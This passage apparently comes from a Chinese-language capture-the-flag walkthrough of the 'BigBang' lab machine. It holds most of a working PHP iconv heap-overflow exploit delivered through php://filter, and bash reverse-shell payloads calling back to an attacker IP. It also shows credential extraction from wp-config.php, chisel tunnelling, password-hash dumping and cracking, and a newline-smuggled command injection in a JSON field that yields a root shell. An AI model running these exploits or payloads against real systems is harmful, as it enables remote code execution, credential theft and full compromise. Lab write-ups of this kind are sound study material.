prefix them with `0\n`. When dechunked (right before the iconv), they will
"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.
After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.
The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.
Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource) #b64(pages)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
msg_print("Sending exploit...")
print(f'PATH: {path}')
self.remote.send_exploit(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
运行脚本,成功。
~/D/b $python3 cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'
[*] Potential heaps: 0x7fb010000040, 0x7fb00fe00040, 0x7fb00e800040, 0x7fb00c200040,
0x7fb00be00040, 0x7fb00b400040, 0x7fb00aa00040 (using last one)
HEAP address: 0x7fb010000040
LIBC address: 0x7fb012cbc000
Sending exploit...
PATH:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|dechunk|convert
.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|co
nvert.quoted-printable-decode|convert.iconv.L1.L1/resource=data:text/plain;base64,e3vXu
uiJmQBbwhHZnxoPeEwXMbFds0uKb9zKtv7hkYn+j71/yuUJrD7QfyS0aOr1H/uc/vIWaPCtdPM9FcXIgBfMOLRJ
pnDq7dBXEVej32ydttN1kyN+DQxqG3XcY56WTbUK+ypWvTY1b2KOAH4NDZ46pwXDd8Yu7QvdezQue2a0ijQLfh3
LiuK37fDa6yW7Ouq39IPfO66un1wufz+/OvZXysrf2Xfn2/+Pjjc5GXFf7d/894ZKPysJuPjB/neBi6cvz52yMW
r7DfnS+O1/H1/ed+fb9V329fey3z5e+u72rvo19Xbznttf3T9P/mS9JH7j/k383X+d+8R7+zh9hf31kqv1Tb89/
/3vxwb7eb8q1v1e++576v79304+Lq3fEzO/7sXp28f//ivyvfZP65PM69P71uWr3/92vCg293fVp8d1vnn13y+W
zv29/O+3HX019+RflzL329XH/b5vF3/899knTy7Lq/dnF1VbP9x2//3v2r3rfpbdtJkXb3tvbp7E/8uCJ89L43f
pAZNpqd2rr6y+snGV6akzdb+fPvfYxk4gsA5XuhybdTGqX/eUitJL+1HFo4pHFdNZ8YEv06KSlx2PPXZ5X88ml8
4UArmcwSd/pWla1Z1Um7enNbyneGxjpLLx2SujY5Ye215y279yd+C9o/xLa76/9l/q0vKWgEaDtUvzCqdK3b+Ua
39V472OUg6BsqchU7cUWFz9mJb3e6VbZbrgR2sA
EXPLOIT SUCCESS
本地监听端口就可以得到shell。
~/D/b $rlwrap nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.52 56220
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ whoami
whoami
www-data
查看wp-config.php,得到数据库的地址和连接账号。
www-data@bf9a078a3627:/var/www/html/wordpress$ cat wp-config.php
...
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
本机运行chisel的服务端。
~/D/b $/opt/chisel server --port 8080 --reverse
2025/02/01 02:53:09 server: Reverse tunnelling enabled
2025/02/01 02:53:09 server: Fingerprint /xJYb8TDhAQTGlT1KsmgRdhzDkEOwAry7lXxpvdURek=
2025/02/01 02:53:09 server: Listening on http://0.0.0.0:8080
2025/02/01 02:55:42 server: session#1: tun: proxy#R:3306=>172.17.0.1:3306: Listening
上传chisel,将172.17.0.1的3306端口转发出来。
www-data@bf9a078a3627:/tmp$ ./chisel client http://10.10.16.2:8080 R:3306:172.17.0.1:3306
<lient http://10.10.16.2:8080 R:3306:172.17.0.1:3306
2025/02/01 01:39:17 client: Connecting to ws://10.10.16.2:8080
2025/02/01 01:39:18 client: Connected (Latency 95.481094ms)
访问数据库,读取用户信息。
~/D/b $mysql -D 'wordpress' -u 'wp_user' -h 127.0.0.1 --skip-ssl -p
...
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
...
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| 1 | root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root | root@bigbang.htb | http://blog.bigbang.htb | 2024-05-31 13:06:58 | | 0 | root |
| 3 | shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking | shawking@bigbang.htb | | 2024-06-01 10:39:55 | | 0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
2 rows in set (0.092 sec)
本地破解shawking的密码,最后为quantumphysics。
hashcat -m 400 -a 0 -o wp_cracked.txt wp_hash.txt /usr/share/wordlists/rockyou.txt
使用ssh登录,发现/opt/data目录下有个敏感数据库文件,且有个本机9090端口。
-bash-5.1$ pwd
/home/shawking
-bash-5.1$ ls -la
total 40
drwxr-x--- 6 shawking shawking 4096 Jan 17 11:37 .
drwxr-xr-x 4 root root 4096 Jun 5 2024 ..
lrwxrwxrwx 1 root root 9 Jan 17 11:37 .bash_history -> /dev/null
-rw-r--r-- 1 shawking shawking 220 Jun 1 2024 .bash_logout
-rw-r--r-- 1 shawking shawking 3799 Jun 6 2024 .bashrc
drwx------ 2 shawking shawking 4096 Jun 1 2024 .cache
drwx------ 3 shawking shawking 4096 Jan 31 04:19 .gnupg
drwxrwxr-x 3 shawking shawking 4096 Jun 6 2024 .local
-rw-r--r-- 1 shawking shawking 807 Jun 1 2024 .profile
drwx------ 3 shawking shawking 4096 Jun 6 2024 snap
-rw-r----- 1 root shawking 33 Jan 30 19:08 user.txt
-bash-5.1$ cd /opt/
-bash-5.1$ ls
containerd data
-bash-5.1$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Jun 5 2024 .
drwxr-xr-x 19 root root 4096 May 30 2024 ..
drwx--x--x 4 root root 4096 May 30 2024 containerd
drwxr-xr-x 6 root root 4096 Feb 1 01:38 data
-bash-5.1$ cd data
-bash-5.1$ ls -la
total 1008
drwxr-xr-x 6 root root 4096 Feb 1 01:38 .
drwxr-xr-x 4 root root 4096 Jun 5 2024 ..
drwxr--r-- 2 root root 4096 Jun 5 2024 csv
-rw-r--r-- 1 root root 1003520 Feb 1 01:38 grafana.db
drwxr--r-- 2 root root 4096 Jun 5 2024 pdf
drwxr-xr-x 2 root root 4096 Jun 5 2024 plugins
drwxr--r-- 2 root root 4096 Jun 5 2024 png
-bash-5.1$ netstat -anltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 172.17.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38679 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 1 10.10.11.52:51618 8.8.8.8:53 SYN_SENT -
tcp 0 0 172.17.0.1:42654 172.17.0.1:3306 ESTABLISHED -
tcp 0 412 10.10.11.52:22 10.10.16.2:57498 ESTABLISHED -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
可以破解得到密码bigbang。
hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt
9090端口转发出来以后,可以扫描一下。
~/D/b $nmap -sV -sC -Pn -p9090 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-01 03:06 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).
PORT STATE SERVICE VERSION
9090/tcp open http Werkzeug httpd 3.0.3 (Python 3.10.12)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/3.0.3 Python/3.10.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.02 seconds
使用developer访问/login,可以得到JWT token。
~/D/b $curl -X POST -v 127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-d '{"username":"developer","password":"bigbang"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090
* using HTTP/1.x
> POST /login HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 45
>
* upload completely sent off: 45 bytes
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.12
< Date: Sat, 01 Feb 2025 01:57:03 GMT
< Content-Type: application/json
< Content-Length: 356
< Connection: close
<
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTAyMywianRpIjoiNGE0ZTI1NTAtZjExYS00ZmRiLTk5ODktNmNmZWY1ZDdmZjZkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTAyMywiY3NyZiI6ImM1NmE5MDFhLTMxMDMtNDlhYi05NTMwLWQ2NzE0NDgzMWI3ZiIsImV4cCI6MTczODM3ODYyM30.yfuJPGuMtu-DLgEU8H91TWYpeH79uQIiX8_Qkexv4xY"}
* shutting down connection #0
在靶机上建立一个rev shell的文件。
-bash-5.1$ pwd
/tmp
-bash-5.1$ cat rev.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.16.2/4444 0>&1
利用刚才得到的JWT token访问/command,执行rev shell文件。
~/D/b $curl -X POST -v 127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTI5MSwianRpIjoiMGYzYmVlYmQtMWQxZC00ODM3LWJmOTQtNDExYzc4NmMyMmY4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTI5MSwiY3NyZiI6ImNjODNjZDczLTZjOWMtNDdiNS1hMWUwLTkyNDcyNDNkMWUxMSIsImV4cCI6MTczODM3ODg5MX0.DK7ckZkSWQM2pBFZWjAn0qzQdazc0qUwIcgoRfhJ7KE" \
-d '{"command": "send_image", "output_file": "\n/bin/bash /tmp/rev.sh"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 127.0.0.1:9090...
* Connected to 127.0.0.1 (127.0.0.1) port 9090
* using HTTP/1.x
> POST /command HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.11.1
> Accept: */*
> Content-Type: application/json
> Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3NTI5MSwianRpIjoiMGYzYmVlYmQtMWQxZC00ODM3LWJmOTQtNDExYzc4NmMyMmY4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3NTI5MSwiY3NyZiI6ImNjODNjZDczLTZjOWMtNDdiNS1hMWUwLTkyNDcyNDNkMWUxMSIsImV4cCI6MTczODM3ODg5MX0.DK7ckZkSWQM2pBFZWjAn0qzQdazc0qUwIcgoRfhJ7KE
> Content-Length: 67
>
* upload completely sent off: 67 bytes
最后,本机监听端口可以得到root shell。
~/D/b $rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.52 44994
sh: 0: can't access tty; job control turned off
# whoami
root